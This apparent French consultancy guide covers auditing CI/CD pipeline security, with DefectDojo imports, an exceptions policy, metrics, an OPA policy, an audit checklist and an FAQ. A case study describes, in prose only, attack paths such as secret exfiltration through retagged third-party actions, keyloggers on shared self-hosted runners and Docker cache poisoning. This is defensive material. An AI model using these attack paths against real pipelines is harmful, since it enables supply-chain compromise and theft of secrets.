echo "| $check | ✅ PASSED |" >> $GITHUB_STEP_SUMMARY
else
echo "| $check | ⚠️ $status |" >> $GITHUB_STEP_SUMMARY
fi
done
if [ "$GATE_PASSED" = false ]; then
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Security Gate: FAILED** — Deployment blocked" >> $GITHUB_STEP_SUMMARY
echo "::error::Security Gate FAILED - one or more security checks failed"
exit 1
fi
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Security Gate: PASSED** — All security checks passed" >> $GITHUB_STEP_SUMMARY
Ce pipeline illustre plusieurs bonnes pratiques d'orchestration : exécution parallèle des analyses indépendantes (réduction du temps total), gate de sécurité centralisé qui agrège les résultats, CodeQL uniquement sur les pushes vers main (trop lent pour les PR), conditions d'exécution différenciées selon le contexte, et reporting dans le GitHub Step Summary pour une visibilité immédiate sans quitter l'interface GitHub.
Analyse complémentaire
Gestion des Résultats : Triage, Exceptions et Métriques
Un pipeline de sécurité qui génère trop de faux positifs est un pipeline qui sera désactivé, contourné ou ignoré. La gestion des résultats est aussi importante que leur détection. L'audit évalue la maturité de cette gestion à travers plusieurs critères.
Centralisation des Résultats dans DefectDojo
Tous les outils produisent du SARIF (Static Analysis Results Interchange Format), un format JSON standardisé par OASIS. GitHub Security Dashboard agrège automatiquement les résultats SARIF. Pour les organisations qui utilisent d'autres plateformes ou qui veulent une vue consolidée multi-dépôts, DefectDojo est la plateforme de gestion des vulnérabilités de référence. Elle ingère les résultats de tous les scanners, déduplique les findings (un même CVE détecté par Trivy et Snyk n'apparaît qu'une fois), fournit des métriques de remédiation, et permet la gestion du cycle de vie des vulnérabilités (nouveau → confirmé → en cours → résolu / faux positif / risque accepté).
# Import des résultats dans DefectDojo via API
# Script d'import dans le pipeline CI
import_to_defectdojo() {
local scan_type=$1
local file=$2
local engagement_name=$3
curl -X POST "https://defectdojo.internal.corp/api/v2/reimport-scan/" \
-H "Authorization: Token ${DEFECTDOJO_TOKEN}" \
-H "Content-Type: multipart/form-data" \
-F "scan_type=${scan_type}" \
-F "file=@${file}" \
-F "product_name=${CI_PROJECT_NAME}" \
-F "engagement_name=${engagement_name}" \
-F "auto_create_context=true" \
-F "deduplication_on_engagement=true" \
-F "close_old_findings=true" \
-F "close_old_findings_product_scope=true" \
-F "push_to_jira=false" \
-F "minimum_severity=Info" \
-F "active=true" \
-F "verified=false" \
-F "scan_date=$(date +%Y-%m-%d)" \
-F "environment=Development" \
-F "version=${CI_COMMIT_SHA:0:8}" \
-F "build_id=${CI_PIPELINE_ID}" \
-F "commit_hash=${CI_COMMIT_SHA}" \
-F "branch_tag=${CI_COMMIT_BRANCH}" \
-F "source_code_management_uri=${CI_PROJECT_URL}"
}
# Utilisation dans le pipeline
import_to_defectdojo "SARIF" "semgrep-results.sarif" "CI/CD Pipeline - SAST"
import_to_defectdojo "SARIF" "trivy-fs.sarif" "CI/CD Pipeline - SCA"
import_to_defectdojo "SARIF" "checkov-results.sarif" "CI/CD Pipeline - IaC"
import_to_defectdojo "ZAP Scan" "zap-report.json" "CI/CD Pipeline - DAST"
Politique d'Exceptions et Gouvernance
Chaque outil de sécurité permet de marquer des findings comme "faux positifs" ou "risque accepté". L'audit vérifie que ces exceptions sont documentées, approuvées par un responsable sécurité, ont une date d'expiration (révision périodique), et ne deviennent pas une faille béante dans la couverture de sécurité. Un fichier d'exceptions versionné dans le dépôt est la meilleure approche — il est auditable, tracé par git, et révisable lors des code reviews :
# .security/exceptions.yml
# Ce fichier documente les exceptions de sécurité approuvées.
# Chaque exception DOIT avoir :
# - Une justification technique détaillée
# - Un approbateur identifié
# - Une date d'approbation
# - Une date de révision (max 6 mois après l'approbation)
# Les exceptions expirées sont automatiquement réactivées par le pipeline.
exceptions:
- tool: semgrep
rule_id: go-unsafe-template-html
file: internal/handlers/admin_preview.go
line: 142
justification: |
Fonction de prévisualisation admin uniquement, accessible après authentification
MFA et vérification du rôle admin. Le contenu est sanitizé par la fonction
cleanHTML() (bleach + DOMPurify) avant d'être passé à template.HTML().
Le risque résiduel est acceptable car :
1. Seuls les admins avec MFA peuvent atteindre ce code path
2. Le contenu est sanitizé par un parseur DOM (pas regex)
3. La CSP bloque l'exécution de scripts inline
compensating_controls:
- "Authentification MFA obligatoire pour les admins"
- "Sanitization via DOMPurify côté client + bleach côté serveur"
- "CSP strict : script-src 'self'"
approved_by: sécurité@example.com
approved_date: 2026-03-15
review_date: 2026-09-15
- tool: trivy
cve: CVE-2024-29180
package: golang.org/x/net
version: v0.17.0
justification: |
La vulnérabilité concerne le parsing HTML (x/net/html).
Notre application utilise x/net/http2 mais PAS x/net/html.
L'import de x/net est indirect (via la stdlib).
Impact réel : nul — le code path vulnérable n'est jamais exécuté.
approved_by: sécurité@example.com
approved_date: 2026-02-20
review_date: 2026-08-20
- tool: checkov
check_id: CKV_AWS_18
resource: aws_s3_bucket.cdn_assets
justification: |
Bucket CDN intentionnellement sans logging S3.
Le logging est assuré par CloudFront access logs (plus détaillés)
et CloudTrail data events sur le bucket.
Le logging S3 natif serait redondant et coûteux (~2000 EUR/mois).
compensating_controls:
- "CloudFront access logs activés"
- "CloudTrail data events sur ce bucket"
- "Alerte si le bucket est modifié (Config Rule)"
approved_by: infra@example.com
approved_date: 2026-04-01
review_date: 2026-10-01
Métriques de Sécurité du Pipeline
L'audit mesure et rapporte les métriques suivantes. Ces métriques servent de baseline pour le suivi de l'amélioration continue après la remédiation :
Renforcement de la sécurité
| Métrique | Cible | Mesure | Source |
|---|---|---|---|
| Mean Time to Detect (MTTD) | < 1 jour | Temps entre l'introduction d'une vulnérabilité et sa détection | DefectDojo (date création finding vs date commit) |
| Mean Time to Remediate (MTTR) | Critique: < 24h, High: < 7j, Medium: < 30j | Temps entre la détection et la correction | DefectDojo (date création → date close) |
| False Positive Rate | < 15% | Pourcentage de findings marqués comme faux positifs | DefectDojo (findings FP / total findings) |
| Pipeline Block Rate | < 5% | Pourcentage de pipelines bloqués par la security gate | CI/CD metrics (jobs failed / total jobs) |
| Coverage (dépôts) | 100% | Pourcentage de dépôts avec le pipeline de sécurité activé | GitHub API / GitLab API |
| Coverage (composantes) | 100% | Pourcentage de composantes couvertes (SAST+SCA+Secrets+IaC) | Inventaire pipeline |
| SLSA Level | >= 3 | Niveau SLSA atteint pour les artefacts de production | SLSA verifier |
| Open Critical Vulns | 0 | Nombre de vulnérabilités critiques ouvertes de plus de 24h | DefectDojo |
| Exception Expiry Rate | 0% | Pourcentage d'exceptions expirées non révisées | Fichier exceptions.yml + CI check |
| SBOM Completeness | 100% | Pourcentage de releases avec SBOM généré et archivé | Registre d'artefacts |
Cas Pratique : Audit d'un Pipeline GitHub Actions en Entreprise
Nous avons audité le pipeline CI/CD d'une entreprise SaaS française (350 développeurs, 180 dépôts GitHub, plateforme B2B secteur financier réglementé DORA). L'audit a duré 3 semaines et a identifié 23 findings dont 5 critiques. Voici les findings les plus significatifs et leur remédiation.
Finding 1 (Critique) : Permissions GITHUB_TOKEN par défaut en write. L'organisation n'avait pas restreint les permissions par défaut du GITHUB_TOKEN. Tous les workflows de tous les dépôts (180 dépôts) avaient un token avec des permissions d'écriture sur le code, les packages, les issues, les pull requests, les déploiements et les pages. Un workflow compromis dans n'importe quel dépôt — y compris les dépôts "sandbox" et "poc" avec moins de contrôle — aurait pu modifier le code de n'importe quel autre dépôt de l'organisation via des API calls, créer des releases malveillantes, ou modifier les pages GitHub (phishing interne). Remédiation : restriction au niveau organisation (Settings → Actions → General → Workflow permissions → Read repository contents and packages permissions) + ajout de permissions: explicites dans chaque workflow existant. Effort : 2 jours de migration automatisée par script + 1 semaine de validation.
Finding 2 (Critique) : 73 actions tierces référencées par tag mutable. Sur 180 dépôts, nous avons identifié 73 actions tierces uniques référencées par tag (@v4, @main, @latest) au lieu de SHA de commit. Parmi elles, 12 actions provenaient de dépôts personnels (pas d'organisation vérifiée GitHub) avec moins de 100 étoiles. Un attaquant qui compromet un de ces dépôts (ou simplement prend le contrôle du compte mainteneur via credential stuffing) peut modifier le tag pour pointer vers un commit malveillant qui exfiltre les secrets, injecte du code dans le build, ou installe un backdoor dans les artefacts. Remédiation : migration automatique vers le pinning par SHA via le script pin-github-action + politique d'approbation pour les nouvelles actions (allowlist organisationnelle) + review trimestrielle des actions utilisées. Effort : 1 jour de migration automatisée + mise en place de la gouvernance.
Finding 3 (Critique) : Runner self-hosted partagé entre production et projets expérimentaux. Un runner self-hosted (une VM Ubuntu sur le réseau interne) était enregistré au niveau de l'organisation et partagé entre le dépôt principal de l'application (avec accès aux secrets de production : base de données, AWS IAM, Stripe API) et des dépôts "labs" où les développeurs expérimentaient librement. Un développeur malveillant ou un compte compromis aurait pu créer un workflow dans un dépôt labs qui installe un keylogger sur le runner, attend que le workflow de production s'exécute, et exfiltre les secrets. Remédiation : suppression du runner partagé, déploiement d'Actions Runner Controller (ARC) sur le cluster Kubernetes interne avec isolation par namespace (un namespace par niveau de confiance), pods éphémères détruits après chaque job. Effort : 2 semaines d'implémentation d'ARC + migration progressive.
Analyse complémentaire
Finding 4 (Élevé) : Secret AWS IAM avec permissions AdministratorAccess. Le secret AWS utilisé par le pipeline de déploiement avait des permissions AdministratorAccess. En cas d'exfiltration (via un log verbose, un workflow compromis, ou un runner non sécurisé), l'attaquant aurait eu un accès complet et illimité à l'infrastructure AWS de production : suppression d'instances, accès aux données S3, modification des security groups, création de backdoors IAM. Remédiation : suppression de la clé IAM statique, migration vers OIDC federation (GitHub Actions assume un rôle IAM via token OIDC, sans clé statique), création de rôles IAM séparés par pipeline avec le principe du moindre privilège (le pipeline de build ne peut que pousser des images vers ECR, le pipeline de deploy ne peut que mettre à jour ECS, le pipeline IaC ne peut que modifier les ressources Terraform). Effort : 1 semaine de refactoring IAM + tests.
Finding 5 (Élevé) : Absence de SBOM, de signature d'artefacts et de provenance. Aucun SBOM n'était généré pour les releases. Aucune image Docker n'était signée cryptographiquement. En cas de compromission de la chaîne d'approvisionnement (supply chain attack), il était impossible de : vérifier l'intégrité d'un artefact déployé en production, déterminer quels composants étaient affectés par une nouvelle CVE (pas de SBOM à scanner), prouver que l'artefact avait été produit par le pipeline légitime (pas de provenance), ou détecter si un artefact avait été modifié entre le build et le deploy (pas de signature). Remédiation : intégration de Syft pour la génération du SBOM à chaque build, Cosign en mode keyless pour la signature des images, SLSA provenance generator pour l'attestation de provenance, et politique Kyverno dans le cluster Kubernetes qui refuse les images non signées. Effort : 2 semaines d'implémentation progressive.
Automatisation de l'Audit avec des Outils Dédiés
Plusieurs outils permettent d'automatiser l'audit de la configuration CI/CD elle-même — pas le code applicatif, mais le pipeline et l'organisation :
Legitify (Legit Security) analyse la configuration de sécurité des organisations GitHub et GitLab. Il produit un score global et des recommandations actionnables alignées sur les bonnes pratiques :
# Audit d'une organisation GitHub avec Legitify
export GITHUB_TOKEN="ghp_..."
legitify analyze \
--org=mon-organisation \
--scorecards \
--output-format=sarif \
--output-file=legitify-results.sarif
# Les vérifications incluent :
# Organisation :
# - 2FA obligatoire pour les membres
# - Pas de membres "Outside collaborators" avec des accès larges
# - Webhook secrets configurés
# - Actions autorisées (allowlist vs. toutes)
# Dépôts :
# - Branch protection rules sur la branche par défaut
# - Revue de code obligatoire (au moins 1 approbation)
# - Status checks obligatoires avant merge
# - Pas de force push autorisé sur les branches protégées
# - Signed commits recommandés
# Actions :
# - Permissions par défaut du GITHUB_TOKEN restrictives
# - Actions pinées par SHA
# - Runners self-hosted isolés
# - Pas de secrets dans les logs
OpenSSF Scorecard évalue la maturité sécurité d'un projet selon 18 critères standardisés. Il est conçu pour les projets open-source mais peut être utilisé en interne pour évaluer les projets de l'organisation et mesurer l'amélioration dans le temps :
# Scorecard sur un dépôt interne
GITHUB_AUTH_TOKEN="ghp_..." scorecard \
--repo=github.com/mon-org/mon-projet \
--format=sarif \
--output=scorecard.sarif
# Critères évalués (score 0-10) :
# Binary-Artifacts: présence de binaires dans le dépôt
# Branch-Protection: configuration des branch protection rules
# CI-Tests: tests automatisés dans le pipeline
# CII-Best-Practices: conformité aux bonnes pratiques CII
# Code-Review: toutes les modifications sont revues
# Contributors: nombre et diversité des contributeurs
# Dangerous-Workflow: workflows vulnérables (injection, pull_request_target)
# Dependency-Update-Tool: Dependabot/Renovate configuré
# Fuzzing: fuzzing automatisé (OSS-Fuzz)
# License: licence définie
# Maintained: projet activement maintenu
# Pinned-Dependencies: dépendances et actions pinées par hash
# Packaging: packaging sécurisé (signé)
# SAST: outils SAST intégrés
# Security-Policy: SECURITY.md présent
# Signed-Releases: releases signées
# Token-Permissions: permissions GITHUB_TOKEN minimales
# Vulnerabilities: vulnérabilités connues non corrigées
# Intégration dans GitHub Actions (surveillance continue)
- uses: ossf/scorecard-action@v2
with:
results_file: scorecard.sarif
results_format: sarif
publish_results: true
Allstar (OpenSSF) est un GitHub App qui surveille en continu la configuration de sécurité des dépôts d'une organisation et ouvre automatiquement des issues quand une déviation est détectée. C'est un contrôle continu qui alerte quand un développeur désactive une branch protection rule, quand un nouveau dépôt est créé sans les protections standard, ou quand un workflow est ajouté avec des permissions excessives. C'est l'équivalent d'un audit continu automatisé.
Automatisation
Architecture de Référence : Pipeline DevSecOps Mature
Voici l'architecture de référence que nous recommandons à l'issue d'un audit, adaptée selon la maturité de l'organisation :
| Étape | Outil Principal | Alternative | Déclencheur | Blocking | Temps |
|---|---|---|---|---|---|
| Pré-commit | GitLeaks + Semgrep | pre-commit hooks | git commit (local) | Oui | < 30s |
| SAST rapide | Semgrep | - | Pull Request | Oui (HIGH+) | 1-3 min |
| SAST profond | CodeQL | SonarQube | Merge vers main | Oui (HIGH+) | 10-30 min |
| SCA dépendances | Trivy FS | Snyk, Grype | Pull Request | Oui (fixed HIGH+) | 2-5 min |
| Secrets | GitLeaks | TruffleHog | Pull Request | Oui (tout finding) | 1-3 min |
| IaC Scan | Checkov | tfsec, KICS | PR modifiant IaC | Oui (HIGH+) | 3-5 min |
| Build + Image scan | Trivy Image | Grype | Build | Oui (CRITICAL) | 3-8 min |
| SBOM generation | Syft | Trivy SBOM | Build | Non | 1-2 min |
| Signature | Cosign | Notation | Build | Oui (deploy bloqué) | < 1 min |
| DAST baseline | ZAP baseline + Nuclei | - | Deploy staging | Non (alertes) | 5-10 min |
| DAST complet | ZAP full + Nuclei all | - | Hebdomadaire | Oui (HIGH+) | 1-4 h |
| Provenance | SLSA generator | in-toto | Release | Non | 1-2 min |
L'implémentation progressive est critique. Activer tous les contrôles simultanément en mode bloquant paralyse les équipes de développement et génère une résistance qui peut faire échouer tout le programme DevSecOps. Nous recommandons une approche en trois phases :
Phase 1 (mois 1-2) : Secrets detection (GitLeaks) en mode bloquant + SCA (Trivy) en mode bloquant avec --ignore-unfixed + SAST (Semgrep) en mode non-bloquant (alertes uniquement). Objectif : protection immédiate contre les vecteurs les plus critiques (fuite de secrets) et les plus faciles (CVE connues avec fix disponible), tout en habituant les développeurs à voir les résultats SAST sans les bloquer.
Phase 2 (mois 3-4) : SAST (Semgrep) en mode bloquant + IaC scanning (Checkov) en mode bloquant + SBOM generation + mise en place de DefectDojo pour la centralisation. Objectif : étendre la couverture aux vulnérabilités de code et d'infrastructure, et structurer le processus de triage et de remédiation.
Phase 3 (mois 5-6) : DAST (ZAP + Nuclei) + Signature d'artefacts (Cosign) + Provenance SLSA + CodeQL sur main. Objectif : couverture complète incluant les vulnérabilités runtime et la sécurité de la chaîne d'approvisionnement. À ce stade, les équipes maîtrisent le processus de triage et les exceptions sont bien gérées.
Renforcement de la sécurité
Point essentiel : L'adoption progressive est la clé du succès d'un programme DevSecOps. Commencez par les contrôles à fort impact et faible friction (détection de secrets en mode bloquant — les développeurs comprennent immédiatement pourquoi un secret ne doit pas être commité). Ajoutez ensuite la SCA avec --ignore-unfixed (ne bloque que quand un correctif existe). Puis le SAST une fois que les règles ont été calibrées en mode non-bloquant pendant 4-6 semaines. Un pipeline de sécurité que les développeurs contournent ou ignorent est pire qu'aucun pipeline — il crée un faux sentiment de sécurité tout en étant inefficace.
Conformité et Référentiels : Aligner l'Audit sur les Standards
L'audit du pipeline CI/CD s'inscrit dans un cadre de conformité plus large. Les référentiels pertinents incluent plusieurs standards et réglementations qui exigent explicitement des contrôles sur la chaîne d'approvisionnement logicielle :
NIST SSDF (SP 800-218) — Le Secure Software Development Framework du NIST définit des pratiques de développement sécurisé qui mappent directement sur les contrôles du pipeline. Les groupes de pratiques pertinents : PS (Protect Software) couvre la protection du code et des artefacts, PW (Produce Well-Secured Software) couvre les tests de sécurité (SAST, DAST, SCA), et RV (Respond to Vulnerabilities) couvre la gestion des vulnérabilités détectées. Le mapping est direct : PS.1 → protection des branches, PW.6 → SAST/DAST, PW.7 → SCA, PW.8 → build integrity, PW.9 → release signing.
OWASP CI/CD Security Top 10 — Ce référentiel spécifique aux pipelines identifie les 10 risques les plus critiques. Nos findings d'audit sont systématiquement mappés sur ces catégories pour structurer le rapport et prioriser la remédiation : CICD-SEC-1 (Insufficient Flow Control Mechanisms — pas de protection de branches), CICD-SEC-2 (Inadequate Identity and Access Management — permissions GITHUB_TOKEN excessives), CICD-SEC-3 (Dependency Chain Abuse — pas de SCA/pinning), CICD-SEC-4 (Poisoned Pipeline Execution — injection via PR/workflow), CICD-SEC-5 (Insufficient PBAC — pas de séparation des environnements), CICD-SEC-6 (Insufficient Credential Hygiene — secrets mal gérés).
CIS Software Supply Chain Security Guide — Le Center for Internet Security fournit un benchmark détaillé pour la sécurité de la chaîne d'approvisionnement, avec des contrôles spécifiques pour GitHub Actions, GitLab CI et Jenkins. Chaque contrôle est noté Level 1 (essentiel) ou Level 2 (renforcé), ce qui facilite la priorisation.
NIS2 (Article 21(2)(d)) — La directive européenne NIS2, applicable depuis octobre 2024 aux entreprises opérant dans les secteurs essentiels et importants (énergie, transport, santé, infrastructure numérique, services financiers, etc.), exige explicitement "la sécurité de la chaîne d'approvisionnement, y compris les aspects liés à la sécurité concernant les relations entre chaque entité et ses fournisseurs directs ou ses prestataires de services". L'audit du pipeline CI/CD contribue directement à cette exigence.
DORA (Article 9) — Pour les organisations du secteur financier soumises au règlement DORA (Digital Operational Resilience Act), les contrôles de sécurité du pipeline font partie des exigences de gestion des risques TIC. L'article 9 exige "des politiques, procédures, protocoles et outils de sécurité TIC [...] qui garantissent la résilience, la continuité et la disponibilité des systèmes TIC". La traçabilité de la chaîne d'approvisionnement (SBOM, provenance, signature) est explicitement mentionnée dans les guidelines techniques de l'EBA.
Analyse complémentaire
Évolutions 2026 : IA dans le Pipeline et Policy as Code
Deux tendances émergent en 2026 qui transforment l'audit des pipelines CI/CD et nécessitent de nouveaux contrôles d'audit.
IA-assisted code review et auto-fix. Des outils comme GitHub Copilot Autofix, Amazon CodeWhisperer Security, Semgrep Assistant et Snyk DeepCode AI utilisent des LLM pour expliquer les vulnérabilités détectées et proposer des corrections automatiques. L'audit doit évaluer ces outils sous plusieurs angles : quelle est la fiabilité des corrections proposées (introduisent-elles de nouvelles vulnérabilités ?) ? Les données de code transitent-elles par des API tierces (conformité RGPD, secrets potentiellement exposés au modèle) ? Les développeurs acceptent-ils les corrections IA sans les vérifier (risque de sur-confiance) ? Dans notre pratique, nous avons observé que les corrections IA sont fiables à environ 75% pour les vulnérabilités simples (XSS par ajout d'échappement, injection SQL par paramétrage) mais descendent à 40% pour les vulnérabilités complexes impliquant de la logique métier ou des conditions de course. La recommandation d'audit : les auto-fix IA doivent passer par le même processus de code review qu'un commit humain.
Policy as Code avec OPA/Rego. Open Policy Agent permet de définir des politiques de sécurité exécutables qui gouvernent le pipeline lui-même — pas le code applicatif, mais les décisions du pipeline. Par exemple : refuser le déploiement si le SBOM contient un composant avec une licence GPL dans un produit commercial, bloquer si l'image n'est pas signée par Cosign, exiger un scan DAST réussi avant le déploiement en production, interdire le déploiement le vendredi après 16h. L'adoption d'OPA pour la gouvernance du pipeline est un indicateur de maturité DevSecOps que nous évaluons positivement en audit :
# policy/pipeline-security.rego
package pipeline.security
import future.keywords.in
# Interdire le déploiement d'images non signées
deny[msg] {
input.image.signed == false
msg := sprintf("Image non signée : %s. Toutes les images doivent être signées par Cosign.", [input.image.name])
}
# Interdire les dépendances avec des CVE critiques ayant un correctif disponible
deny[msg] {
vuln := input.sbom.vulnerabilities[_]
vuln.severity == "CRITICAL"
vuln.fix_available == true
time.now_ns() - time.parse_rfc3339_ns(vuln.published_date) > 72 * 3600 * 1000000000 # Plus de 72h
msg := sprintf("CVE critique non corrigée depuis >72h : %s dans %s (fix: %s)",
[vuln.id, vuln.package, vuln.fixed_version])
}
# Exiger un score Scorecard minimum
deny[msg] {
input.scorecard.score < 7.0
msg := sprintf("Score Scorecard insuffisant : %.1f/10 (minimum requis : 7.0)",
[input.scorecard.score])
}
# Vérifier la provenance SLSA
deny[msg] {
input.slsa.level < 3
msg := sprintf("Niveau SLSA insuffisant : %d (minimum requis : 3)", [input.slsa.level])
}
# Interdire le déploiement sans SBOM
deny[msg] {
not input.sbom.generated
msg := "Aucun SBOM généré pour cet artefact. La génération du SBOM est obligatoire."
}
# Interdire le déploiement en production le vendredi après 16h
deny[msg] {
input.environment == "production"
time.weekday(time.now_ns()) == "Friday"
time.clock(time.now_ns())[0] >= 16
msg := "Déploiements en production interdits le vendredi après 16h (politique de change freeze)."
}
# Exiger l'approbation d'un membre de l'équipe sécurité pour les déploiements critiques
deny[msg] {
input.environment == "production"
input.changes_security_sensitive == true
not input.approvals[_].team == "security"
msg := "Les changements security-sensitive nécessitent l'approbation de l'équipe sécurité."
}
Checklist d'Audit CI/CD Complète
Voici la checklist exhaustive que nous utilisons lors de nos audits, organisée par domaine. Chaque point est évalué sur une échelle de conformité (conforme, partiellement conforme, non conforme) et pondéré par sa criticité :
| Domaine | Point de Contrôle | Criticité | Réf. OWASP CICD |
|---|---|---|---|
| Gouvernance | Les fichiers de workflow sont protégés par des branch protection rules | Critique | CICD-SEC-1 |
| Gouvernance | Les modifications de workflow nécessitent une approbation (CODEOWNERS) | Élevé | CICD-SEC-1 |
| Gouvernance | Une politique d'exceptions de sécurité est documentée et suivie | Moyen | - |
| Secrets | Les permissions GITHUB_TOKEN par défaut sont "read" | Critique | CICD-SEC-6 |
| Secrets | Les secrets utilisent OIDC federation (pas de clés statiques longue durée) | Élevé | CICD-SEC-6 |
| Secrets | GitLeaks/TruffleHog est actif et bloquant sur chaque PR | Critique | CICD-SEC-6 |
| Secrets | Les secrets sont scopés au minimum (environment, not organization) | Élevé | CICD-SEC-6 |
| Actions | Toutes les actions tierces sont pinnées par SHA (pas par tag) | Élevé | CICD-SEC-3 |
| Actions | Une allowlist d'actions autorisées est maintenue | Moyen | CICD-SEC-3 |
| Actions | Pas d'utilisation de pull_request_target avec checkout de code PR | Critique | CICD-SEC-4 |
| Runners | Les runners self-hosted sont éphémères (pod K8s, VM jetable) | Élevé | CICD-SEC-4 |
| Runners | Les runners ne sont pas partagés entre niveaux de confiance différents | Critique | CICD-SEC-4 |
| SAST | Au moins un outil SAST est actif et bloquant sur les PR | Élevé | - |
| SAST | Des règles SAST personnalisées couvrent le stack spécifique | Moyen | - |
| SCA | Les dépendances sont scannées (CVE) sur chaque PR | Élevé | CICD-SEC-3 |
| SCA | Les lock files sont commités et utilisés en CI (npm ci, pas npm install) | Élevé | CICD-SEC-3 |
| SCA | Un registre privé est configuré (protection dependency confusion) | Élevé | CICD-SEC-3 |
| IaC | Les fichiers IaC sont scannés avant le terraform apply | Élevé | - |
| Artefacts | Les images/binaires sont signés cryptographiquement (Cosign) | Élevé | - |
| Artefacts | Un SBOM est généré et archivé pour chaque release | Moyen | - |
| Artefacts | La provenance SLSA >= 3 est atteinte | Moyen | - |
| DAST | Un scan DAST est exécuté au moins hebdomadairement | Moyen | - |
| DAST | Le scan DAST inclut un scan authentifié | Moyen | - |
| Métriques | Le MTTR est mesuré et les SLA de remédiation sont respectés | Moyen | - |
| Métriques | Le taux de faux positifs est suivi et < 15% | Moyen | - |
FAQ
Quel est le coût d'implémentation d'un pipeline de sécurité complet ?
Le coût varie considérablement selon la taille de l'organisation et le stack existant. Pour une équipe de 20 développeurs utilisant GitHub Actions, l'implémentation complète (SAST + SCA + secrets + IaC + DAST + SBOM + signature) prend typiquement 3 à 4 mois d'effort d'un ingénieur DevSecOps senior à temps plein. Les outils open-source (Semgrep, Trivy, GitLeaks, Checkov, ZAP, Cosign, Syft) couvrent 90% des besoins sans coût de licence. Le coût principal est le temps humain : configuration initiale, rédaction de règles personnalisées, calibration des seuils pour minimiser les faux positifs, triage des premiers résultats, formation des développeurs au processus, et mise en place de la gouvernance des exceptions. Pour une organisation de 200 développeurs, ajoutez le coût d'un SonarQube Enterprise (environ 20 000 EUR/an), d'un DefectDojo hébergé (ou le temps d'administration d'une instance self-hosted), et potentiellement d'une licence Snyk pour les fonctionnalités de remédiation automatique (variable selon le nombre de projets). Le ROI se mesure en incidents évités : une seule fuite de secrets AWS coûte en moyenne 50 000 EUR en remédiation et investigation forensique (sans compter l'impact réputationnel), une vulnérabilité exploitée en production coûte 10x plus à corriger qu'en phase de développement.
Comment gérer les faux positifs sans décourager les développeurs ?
La gestion des faux positifs est le facteur critique d'adoption — c'est ce qui détermine si le programme DevSecOps réussit ou échoue. Trois leviers principaux : premièrement, calibrez les seuils de sévérité et les règles AVANT le déploiement en mode bloquant. Exécutez le pipeline en mode "audit" (non bloquant, résultats visibles mais pas de blocage) pendant 2 à 4 semaines. Analysez les résultats, identifiez les faux positifs récurrents, ajoutez les exclusions appropriées dans les fichiers de configuration (.semgrep/exclude, .trivyignore, .gitleaks.toml), puis passez en mode bloquant avec un taux de faux positifs maîtrisé. Deuxièmement, fournissez un mécanisme d'exception simple et rapide : un développeur qui rencontre un faux positif doit pouvoir le signaler et obtenir une exception approuvée dans la journée (pas dans la semaine). Un processus lourd pousse les développeurs à contourner le système. Troisièmement, investissez dans les règles personnalisées — les règles génériques des packs OWASP génèrent plus de faux positifs que les règles adaptées à votre stack, vos patterns de code et vos conventions. Un taux de faux positifs supérieur à 20% est un signal d'alarme critique : les développeurs commencent à ignorer TOUS les résultats, y compris les vrais positifs.
SAST ou DAST : par lequel commencer ?
Commencez par le SAST. Il est plus facile à intégrer (pas besoin d'environnement de staging éphémère ni de déploiement de l'application), plus rapide à exécuter, et détecte les vulnérabilités plus tôt dans le cycle de développement — quand la correction est simple (quelques lignes de code) et peu risquée (pas encore en production). Le SAST couvre un spectre plus large de vulnérabilités (injections, XSS, désérialisation, crypto faible, race conditions). Le DAST vient en complément pour détecter ce que le SAST ne peut pas voir : les problèmes de configuration runtime (headers de sécurité manquants, TLS mal configuré, CORS permissifs), les vulnérabilités qui n'apparaissent qu'à l'exécution (logique métier, conditions de course réelles), et les vulnérabilités dans les composants tiers non analysables statiquement (serveur web, reverse proxy). L'exception à cette règle : si votre application est principalement composée de services tiers intégrés (SaaS) avec peu de code custom, le DAST peut être plus pertinent car il teste la surface d'attaque réelle.
Politiques et règles
Comment sécuriser les runners self-hosted GitHub Actions ?
La solution idéale est de ne pas avoir de runners self-hosted persistants. Utilisez Actions Runner Controller (ARC) sur Kubernetes pour déployer des runners éphémères : chaque job CI crée un pod Kubernetes dédié qui est détruit à la fin du job. Aucune persistance, aucun risque de contamination inter-jobs, aucun secret résiduel sur le filesystem. Si les runners éphémères ne sont pas possibles (contrainte d'infrastructure), appliquez ces contrôles de compensation : isolation réseau stricte (le runner ne doit accéder qu'aux ressources strictement nécessaires pour le build), pas de partage entre projets de confiance différente (un runner par "zone de confiance"), monitoring des processus en temps réel (alerter si un processus inattendu ou un mineur de crypto tourne sur le runner), nettoyage automatique complet du workspace et des caches entre les jobs (pas seulement le répertoire de travail mais aussi /tmp, les caches Docker, les credentials résiduels), chiffrement du disque au repos, rotation régulière du runner (recréation hebdomadaire de la VM). Désactivez le cache Docker partagé — un workflow malveillant peut empoisonner le cache avec une couche contenant un backdoor qui sera incluse dans les builds suivants.
Comment intégrer la SCA dans un monorepo avec de nombreuses dépendances ?
Les monorepos posent un défi particulier pour la SCA : scanner l'intégralité du dépôt sur chaque PR est trop lent et génère trop de bruit (des vulnérabilités dans des modules que la PR ne touche pas). La solution est le scanning incrémental ciblé : identifiez quels fichiers de dépendances ont changé dans la PR (go.mod, package-lock.json, requirements.txt) et scannez uniquement les modules affectés. Trivy et Snyk supportent tous deux le ciblage de répertoires spécifiques via l'option --path. Pour le scan complet (toutes les dépendances de tous les modules), utilisez un job schedulé nocturne ou hebdomadaire plutôt qu'un job sur chaque PR — les résultats sont poussés vers DefectDojo et traités dans le processus de gestion des vulnérabilités standard. Enfin, centralisez la gestion des exceptions avec un fichier .trivyignore ou .snyk à la racine du monorepo pour les exceptions globales (CVE dans un package de la stdlib utilisé partout), et des fichiers spécifiques dans chaque module pour les exceptions locales (CVE dans un package utilisé uniquement par ce module).
Analyse complémentaire
Quelle est la différence entre SBOM SPDX et CycloneDX ?
SPDX (Software Package Data Exchange) est un standard ISO (ISO/IEC 5962:2021) développé par la Linux Foundation, historiquement orienté conformité des licences et inventaire des composants. Il est plus mature (v2.3), mieux reconnu par les organismes de standardisation et les services juridiques. CycloneDX est un standard OWASP orienté sécurité, qui inclut nativement des champs pour les vulnérabilités (VEX — Vulnerability Exploitability eXchange), les services (API dépendances), les données de composition (what builds what), et les attestations de build. En pratique, les deux formats convergent : SPDX 3.0 ajoute le support VEX et les profils de sécurité. Les outils modernes (Syft, Trivy, Grype) supportent les deux formats. Notre recommandation : utilisez CycloneDX si votre priorité est la sécurité opérationnelle (il s'intègre mieux avec les scanners de vulnérabilités et les outils de sécurité), et SPDX si votre priorité est la conformité réglementaire (il est plus reconnu par les auditeurs et les standards internationaux). Générez les deux si possible — c'est un surcoût de quelques secondes.
